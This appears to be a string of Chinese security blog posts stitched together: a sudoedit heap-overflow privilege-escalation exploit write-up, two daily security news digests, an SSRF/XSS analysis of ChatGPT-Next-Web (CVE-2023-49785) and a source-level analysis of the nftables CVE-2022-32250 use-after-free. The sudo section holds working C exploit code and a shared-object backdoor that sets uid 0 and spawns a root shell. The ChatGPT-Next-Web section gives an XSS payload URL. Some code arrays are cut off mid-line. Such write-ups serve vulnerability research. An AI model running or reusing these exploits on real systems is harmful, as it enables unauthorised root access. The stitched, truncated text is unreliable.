"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"
其中0xa0是为堆溢出的堆块留的坑
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
在malloc前下断点·
b sudoers.c:849
查看bins,可以看到tcachebins中0xa0正好有一个堆块
然后在nss_load_library下断点,查看service_user
b nss_load_library
p ni
可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是
"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"
综合得到如下初步exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
execve("/usr/local/bin/sudoedit",argv,env);
}
3 溢出利用
当前exp把XXX/test写到了0x555555623b07
此时的service_user在0x5555556241b0,name的偏移是0x30
start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
print('"\\\\"',end=',')
前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int main()
{
char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","
execve("/usr/local/bin/sudoedit",argv,env);
}
覆盖结果如上
拼接完成后会执行
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过__libc_dlopen打开文件
4 提权收工
最后编译后门test.so.2,并放入libnss_XXX文件夹
这里借用https://cloud.tencent.com/developer/article/1826931中的代码
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define EXECVE_SHELL_PATH "/bin/sh"
static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};
void pop_shell(void) {
printf("[+] executed!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
if(getuid() == 0) {
puts("[+] we are root!");
} else {
puts("[-] something went wrong!");
exit(0);
}
execve(EXECVE_SHELL_PATH, n, n);
}gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2
提权效果
总结
这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个
总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
网络安全日报 2024年05月08日
1、ScalyWolf组织利用White Snake恶意软件攻击俄罗斯工业
https://bi.zone/eng/expertise/blog/scaly-wolf-primenyaet-stiler-white-snake-protiv-rossiyskoy-promyshlennosti/ 研究人员发现了 Scaly Wolf 组织针对俄罗斯和白俄罗斯组织发起的新活动。攻击者正在以联邦机构的名义分发网络钓鱼电子邮件。这些电子邮件包含合法文档作为附件。它的目的是降低收件人的警惕性,并提示他们打开另一个文件,即受密码保护的存档。通过代表政府机构发送的网络钓鱼电子邮件,受害者更有可能与恶意附件进行交互。
2、Tinyproxy存在严重漏洞超过五万台主机可被远程执行代码
https://tinyproxy.github.io/ 研究人员发现 90310 台主机中超过 50% 被发现在互联网上暴露了Tinyproxy 服务,该服务容易受到 HTTP/HTTPS 代理工具中未修补的严重安全漏洞的影响。该漏洞的编号为CVE-2023-49606,CVSS 评分为 9.8 分(满分 10 分),该问题将其描述为影响版本 1.10.0 和 1.11.1 的释放后使用错误。是最新版本。特制的 HTTP 标头可能会触发先前释放的内存的重用,从而导致内存损坏并可能导致远程代码执行。攻击者需要发出未经身份验证的 HTTP 请求才能触发此漏洞。换句话说,未经身份验证的威胁参与者
3、研究人员披露HijackLoader恶意软件本更新了其规避技术
https://www.zscaler.com/blogs/security-research/hijackloader-updates HijackLoader(又名 IDAT Loader)是一种恶意软件加载程序,最初于 2023 年发现,能够使用各种模块进行代码注入和执行。它使用模块化架构,这是大多数加载器所不具备的功能。研究人员最近分析了一个新的 HijackLoader 样本,该样本更新了规避技术。这些增强功能旨在提高恶意软件的隐蔽性,从而在更长的时间内保持不被发现。 HijackLoader 现在包含用于添加 Windows Defender 防病毒排除项、绕过用户帐户控制 (U
4、萨尔瓦多遭遇生物识别数据大规模泄露影响超500万公民
https://www.resecurity.com/blog/article/massive-dump-of-hacked-salvadorean-headshots-and-pii-highlights-growing-threat-actor-interest-in-biometric-data 研究人员发现了一起大规模泄露事件,涉及超过 500 万萨尔瓦多公民的个人身份信息 (PII) 在暗网上的暴露,影响到该国 80% 以上的人口。化名“CiberinteligenciaSV”的威胁行为者将 144 GB 的数据转储发布到 Breach 论坛,并写道,泄露的内容包括 5129518
5、阿联酋遭遇史上最大规模的网络攻击
https://thecyberexpress.com/hacker-makes-claim-of-largest-uae-attack/ 一名以“UAE”用户名运作的身份不明的威胁者声称对涉及阿拉伯联合酋长国政府的大规模数据泄露攻击负责,网络安全界陷入紧张状态。
6、谷歌宣布超 4 亿账户采用通行密钥
https://thehackernews.com/2024/05/google-announces-passkeys-adopted-by.html 谷歌(Google)周四宣布,在过去两年里,超过4亿个谷歌账户正在使用密码,验证用户身份的次数超过10亿次。密码匙易于使用,而且可以抵御网络钓鱼,只需依赖指纹、面部扫描或密码,比密码快50%。
7、Dropbox 报告其 Sign 产品的敏感身份验证数据遭到泄露
https://www.anquanke.com/post/id/296189 云存储和文件共享公司 Dropbox 披露了一个安全漏洞,导致未经授权访问敏感信息,包括密码和其他身份验证信息。特别是影响了 Dropbox Sign(以前称为 HelloSign),这是一个用于数字签名文档的平台。
8、微软推出零信任DNS
https://www.secrss.com/articles/65818 为了治理DNS顽疾,上周五微软推出了一套安全DNS框架——零信任DNS(ZTDNS),企业可在Windows网络内部锁定域名解析。
9、美国四大电信运营商因未经同意分享用户数据被罚近2亿美元
https://www.secrss.com/articles/65759 经过调查发现,电信运营商 Verizon、AT&T、T-Mobile 和 Sprint 在未经用户同意的情况下,将用户位置数据访问权限出售给数据聚合商,后者又将数据转售给第三方。
10、小米、WPS Office安卓应用易受文件覆盖漏洞影响
https://thehackernews.com/2024/05/popular-android-apps-like-xiaomi-wps.html 谷歌Play商店中的几款流行安卓应用程序容易受到代号为Dirty Stream攻击的路径遍历相关漏洞的影响,恶意应用程序可利用该漏洞覆盖受影响应用程序主目录中的任意文件。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
ChatGPT-Next-Web漏洞利用分析(CVE-2023-49785)
1. 漏洞介绍
日常网上冲浪,突然粗看以为是有关Chat-GPT的CVE披露出来了,但是仔细一看原来是ChatGPT-Next-Web的漏洞。漏洞描述大致如下:(如果有自己搭建了还没更新的速速修复升级防止被人利用,2.11.3已经出来了)
NextChat,也称为 ChatGPT-Next-Web,是与 ChatGPT 一起使用的跨平台聊天用户界面。 2.11.2 及之前的版本容易受到服务器端请求伪造和跨站点脚本攻击的影响。2024年3月,互联网上披露CVE-2023-49785,攻击者可在无需登陆的情况下构造恶意请求造成SSRF,造成敏感信息泄漏等。
2. 漏洞分析
定位到漏洞代码:app/api/cors/[...path]/route.ts:
也就是大致如下内容:
import { NextRequest, NextResponse } from "next/server";
async function handle(
req: NextRequest,
{ params }: { params: { path: string[] } },
) {
if (req.method === "OPTIONS") {
return NextResponse.json({ body: "OK" }, { status: 200 });
}
const [protocol, ...subpath] = params.path;
const targetUrl = `${protocol}://${subpath.join("/")}`;
const method = req.headers.get("method") ?? undefined;
const shouldNotHaveBody = ["get", "head"].includes(
method?.toLowerCase() ?? "",
);
const fetchOptions: RequestInit = {
headers: {
authorization: req.headers.get("authorization") ?? "",
},
body: shouldNotHaveBody ? null : req.body,
method,
// @ts-ignore
duplex: "half",
};
const fetchResult = await fetch(targetUrl, fetchOptions);
console.log("[Any Proxy]", targetUrl, {
status: fetchResult.status,
statusText: fetchResult.statusText,
});
return fetchResult;
}
在这段代码中,这里没有做任何的安全防护。params.path 是通过请求参数传入的,这意味着用户可以控制请求的路径部分。这个路径部分会被直接拼接到一个新的 URL 中,并在后续的代码中被用于发起请求,以绕过访问控制、访问内部系统或执行其他攻击。
举个例子,当你访问 /api/cors/https/baidu.com 时,请求将被路由到这段代码中。在这里,protocol 将被设置为 https,subpath 将被设置为 ['baidu.com']。然后,这两部分将被拼接成 https://baidu.com,作为目标 URL。接下来,根据代码的逻辑,将会使用 fetch 发起一个对 https://baidu.com 的请求。这个请求的方法和请求体等信息将根据原始请求中的信息进行配置,然后将响应返回给客户端。
我们验证一下,果然存在。
至于披露着所说的反射型XSS,则完全是因为这里是用的fetch发包,fetch方法也支持 data 协议,且对后续的参数没有过滤限制导致的,所以我们通过参数拼接如下即可实现:
/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydCgiQ1ZFLTIwMjMtNDk3ODUiKTwvc2NyaXB0Pg==%23
3. 总结
没想到一个64.5k star 的项目之前居然对SSRF一点防护都没有做。
/api/cors 端点作为一个开放代理的设计,允许未经身份验证的用户通过它发送任意的 HTTP 请求。这个端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器而添加的。
我查看了最新的源代码:
具体的官方修复思路如下:
移除开放代理端点:最终修复方案中,移除了原始的开放代理端点/api/cors。
替换为特定用途的端点:取而代之的是添加了两个新的端点/api/upstash和/api/webdav,这些端点具有特定的用途,分别用于与 Upstash 和 WebDAV 服务进行集成。这种替换的方式限制了端点的功能范围,并提供了更专门化的功能,有助于减少系统的安全风险。
增加安全验证和限制:
/api/upstash
限制目标URL:修复代码首先通过检查请求参数中的endpoint来限制目标URL。它要求目标URL必须是以.upstash.io结尾的有效URL,这样就限制了请求只能发送到特定的Upstash服务。
限制请求方法:修复代码还对请求中的操作类型进行了限制。它只允许get和set两种操作类型的请求,如果请求的操作类型不是这两种之一,则会返回403 Forbidden响应。
/api/webdav
请求方法限制: 修复代码只允许特定的HTTP请求方法,包括MKCOL、GET和PUT。对于其他不允许的请求方法,如POST等,会返回403 Forbidden响应。
目标路径验证: 修复代码对于不同的请求方法,会对目标路径进行不同的验证:
对于MKCOL请求,只允许请求目标路径为指定的folder,如果请求的目标路径不是以指定的folder结尾,则返回403 Forbidden响应。
对于GET请求,只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
对于PUT请求,同样只允许请求目标路径为指定的fileName,如果请求的目标路径不是以指定的fileName结尾,则返回403 Forbidden响应。
网络安全日报 2024年05月07日
1、APT28组织利用Outlook漏洞攻击捷克和德国实体
https://mzv.gov.cz/jnp/en/issues_and_press/press_releases/statement_of_the_mfa_on_the_cyberattacks.html 捷克和德国周五透露,它们是与俄罗斯有联系的民族国家组织APT28进行的长期网络间谍活动的目标。捷克共和国外交部 (MFA) 在一份声明中表示,该国一些未透露姓名的实体因去年初曝光的 Microsoft Outlook 安全漏洞而遭到攻击。外交部表示:“针对政治实体、国家机构和关键基础设施的网络攻击不仅对国家安全构成威胁,而且破坏了我们自由社会所依赖的民主进程。 ”所涉及的安全漏洞是CVE
2、攻击者滥用微软 Graph API进行隐秘恶意软件通信活动递增
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/graph-api-threats 攻击者越来越多地将Microsoft Graph API武器化以用于恶意目的,以逃避检测。自 2022 年 1 月以来,已观察到多个国家联盟的黑客组织使用 Microsoft Graph API 进行 C&C。其中包括被追踪为APT28、REF2924、Red Stinger、Flea、APT29和OilRig的威胁行为者。第一个已知的 Microsoft Graph API 滥用实例可以追溯到 2021 年 6
3、HPE Aruba设备存在四个严重漏洞面临远程代码执行攻击
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt HPE Aruba Networking(以前称为 Aruba Networks)已发布安全更新,以解决影响 ArubaOS 的严重缺陷,这些缺陷可能导致受影响系统上的远程代码执行 (RCE)。在这10 个安全缺陷中,有 4 个缺陷的严重程度被评为严重:CVE-2024-26304、CVE-2024-26305、CVE-2024-33511、CVE-2024-33512。
4、安卓漏洞可能会在启用VPN终止开关的情况下泄漏DNS流量
https://mullvad.net/en/blog/dns-traffic-can-leak-outside-the-vpn-tunnel-on-android Mulvad VPN 用户发现,即使通过“阻止没有 VPN 的连接”选项启用了“始终在线 VPN”功能,Android 设备在切换 VPN 服务器时也会泄漏 DNS 查询。“始终在线 VPN”旨在在设备启动时启动 VPN 服务,并在设备或配置文件打开时保持其运行。启用“阻止没有 VPN 的连接”选项(也称为终止开关)可确保所有网络流量和连接都通过始终连接的 VPN 隧道,从而阻止窥探者监视用户的 Web 活动。即使在最新操作系统
5、西门子软件中的反序列化漏洞可导致远程代码执行
https://claroty.com/team82/research/exploiting-a-classic-deserialization-vulnerability-in-siemens-simatic-energy-manager 研究人员详细介绍了用于监控工业环境中能源消耗的西门子软件中的反序列化漏洞,并将该缺陷归因于这家德国企业集团决定使用已知安全风险的编程方法。西门子在两年前修补了该漏洞(编号为CVE-2022-23450),对于西门子客户来说,时间足够长,可以在对他们发现的缺陷进行详细解释之前应用补丁。西门子 Simatic Energy Manager 中没有采取对策,该
6、研究人员发现遭遇入侵的路由器可以被多个黑客组织同时使用
https://www.trendmicro.com/en_hk/research/24/e/router-roulette.html 当攻击者识别出不安全的路由器时,他们会通过安装恶意软件来渗透它,从而为他们提供持久性、发起分布式拒绝服务 (DDoS) 攻击、隐藏恶意数据等的能力。然而当攻击者发现路由器已被敌对团伙渗透时,研究人员发现有以下两件事之一:一方允许另一方使用受损的基础设施进行收费,或者双方都找到了一种单独的技术来侵入设备并同时使用它。研究人员使用 Ubiquity 的 EdgeRouters 作为互联网路由器的示例,这些路由器同时被多个黑客组织利用,其中一些是国家资助的,另一些
7、研究人员披露针对macOS系统的新信息窃取程序Cuckoo
https://www.sentinelone.com/blog/macos-adload-prolific-adware-pivots-just-days-after-apples-xprotect-clampdown/ 研究人员发现了一种针对 Apple macOS 系统的新信息窃取程序,旨在在受感染的主机上建立持久性并充当间谍软件。该恶意软件被称为Cuckoo,是一种通用的 Mach-O 二进制文件,能够在基于 Intel 和 Arm 的 Mac 上运行。目前尚不清楚确切的分发向量,尽管有迹象表明该二进制文件托管在 dumpmedia[.]com、tunesolo[.]com、fone
8、微软披露安卓应用严重漏洞,多个受App安装量超40亿
https://www.freebuf.com/news/400004.html 近日,研究人员披露了一个名为“Dirty Stream”的严重安全漏洞,该漏洞可能影响几款下载总量数十亿的 Android 应用程序。
9、英国成为首个禁止物联网设备默认使用弱密码的国家
https://therecord.media/united-kingdom-bans-defalt-passwords-iot-devices PSTI 明确禁止使用 "admin "或 "12345 "等弱密码或容易被猜到的默认密码,还要求制造商公布联系方式,以便用户报告漏洞。不符合规定的产品可能会被召回,负有责任的公司可能面临最高 1000 万英镑(1253 万美元)的罚款或其全球收入的 4%,以较高者为准。
10、波兰总检察长称前政府使用间谍软件 Pegasus 监视了数百人
https://www.solidot.org/story?sid=78045 总检察长表示间谍软件生成了被监视者“私人和职业生活”的大量信息。他强调波兰政府无法完全控制所收集的数据,因为该系统运行是基于是以色列公司授予的许可证。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Nftables漏洞原理分析(CVE-2022-32250)
前言
在nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。
而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。
环境搭建
ubuntu20 + QEMU-4.2.1 + Linux-5.15
.config文件
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启命名空间
开启KASAN:make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN
在ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载
./configure --prefix=/usr && make
sudo make install
漏洞验证
poc:https://seclists.org/oss-sec/2022/q2/159
在运行poc时,KASAN检测出存在uaf漏洞
漏洞原理
从KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。
在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。
File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: const struct nlattr * const nla[])
4207: {
...
//判断创建set的必备条件是否具备
4227: if (nla[NFTA_SET_TABLE] == NULL ||
4228: nla[NFTA_SET_NAME] == NULL ||
4229: nla[NFTA_SET_KEY_LEN] == NULL ||
4230: nla[NFTA_SET_ID] == NULL)
4231: return -EINVAL;
...
集合通过kvzalloc函数开辟空间
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4369: set = kvzalloc(alloc_size, GFP_KERNEL);
4370: if (!set)
4371: return -ENOMEM;
...
在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//对集合做初始化
4390: INIT_LIST_HEAD(&set->bindings);
4391: INIT_LIST_HEAD(&set->catchall_list);
4392: set->table = table;
4393: write_pnet(&set->net, net);
4394: set->ops = ops;
4395: set->ktype = ktype;
4396: set->klen = desc.klen;
4397: set->dtype = dtype;
4398: set->objtype = objtype;
4399: set->dlen = desc.dlen;
4400: set->flags = flags;
4401: set->size = desc.size;
4402: set->policy = policy;
4403: set->udlen = udlen;
4404: set->udata = udata;
4405: set->timeout = timeout;
4406: set->gc_int = gc_int;
...
当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。
File: linux-5.15\net\netfilter\nf_tables_api.c
...
//判断是否有表达式需要创建
4416: if (nla[NFTA_SET_EXPR]) {
4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: if (IS_ERR(expr)) {
4419: err = PTR_ERR(expr);
4420: goto err_set_expr_alloc;
4421: }
4422: set->exprs[0] = expr;
4423: set->num_exprs++;
...
在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。
File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: const struct nft_set *set,
5311: const struct nlattr *attr)
5312: {
5313: struct nft_expr *expr;
5314: int err;
5315:
5316: expr = nft_expr_init(ctx, attr); --->[1]
5317: if (IS_ERR(expr))
5318: return expr;
5319:
5320: err = -EOPNOTSUPP;
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
5323:
...
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
5337: }
回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。
lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。
struct nft_lookup {
struct nft_set *set; //集合
u8 sreg; //源寄存器
u8 dreg; //目的寄存器
bool invert;
struct nft_set_binding binding;
};
nft_set_bing结构体实则是维护了一个双链表。
struct nft_set_binding {
struct list_head list;
const struct nft_chain *chain;
u32 flags;
};
nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。
File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: const struct nft_expr *expr,
097: const struct nlattr * const tb[])
098: {
...
//检测set与源寄存器的值
105: if (tb[NFTA_LOOKUP_SET] == NULL ||
106: tb[NFTA_LOOKUP_SREG] == NULL)
107: return -EINVAL;
...
紧接着检索需要搜索的set。
File: linux-5.15\net\netfilter\nft_lookup.c
...
109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: tb[NFTA_LOOKUP_SET_ID], genmask);
111: if (IS_ERR(set))
112: return PTR_ERR(set);
...
最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的set的binding。
File: linux-5.15\net\netfilter\nft_lookup.c
...
148: err = nf_tables_bind_set(ctx, set, &priv->binding);
149: if (err < 0)
150: return err;
...
首先在绑定之前会校验链表是否是匿名并且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: struct nft_set_binding *binding)
4608: {
...
4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: return -EBUSY;
...
在通过上面的检测后,就会将当前表达式的加入到set中,
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4643: list_add_tail_rcu(&binding->list, &set->bindings);
...
综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。
在set创建时,会初始化bindings指向自己本身。
紧接着若有lookup表达式创建,并绑定上述的set时,因此通过set的bingdings,可以检索在当前set上的所有expr。
在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。
struct nft_expr_type nft_lookup_type __read_mostly = {
.name = "lookup",
.ops = &nft_lookup_ops,
.policy = nft_lookup_policy,
.maxattr = NFTA_LOOKUP_MAX,
.owner = THIS_MODULE,
};
那么就会进入销毁表达式[3]
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数
File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: nf_tables_expr_destroy(ctx, expr);
2826: kfree(expr);
2827: }
在nf_tables_exor_destroy函数会调用表达式的destroy操作
File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: struct nft_expr *expr)
2763: {
2764: const struct nft_expr_type *type = expr->ops->type;
2765:
2766: if (expr->ops->destroy)
2767: expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: module_put(type->owner);
2769: }
nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数
File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: const struct nft_expr *expr)
175: {
176: struct nft_lookup *priv = nft_expr_priv(expr);
177:
178: nf_tables_destroy_set(ctx, priv->set);
179: }
在nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings为0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。
File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686: nft_set_destroy(ctx, set);
4687: }
由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。
POC分析
首先创建一个名为set_stable的set,为后续创建lookup表达式做准备。
set_name = "set_stable";
nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
紧接着创建名为set_trigger的set,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。
set_name = "set_trigger";
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
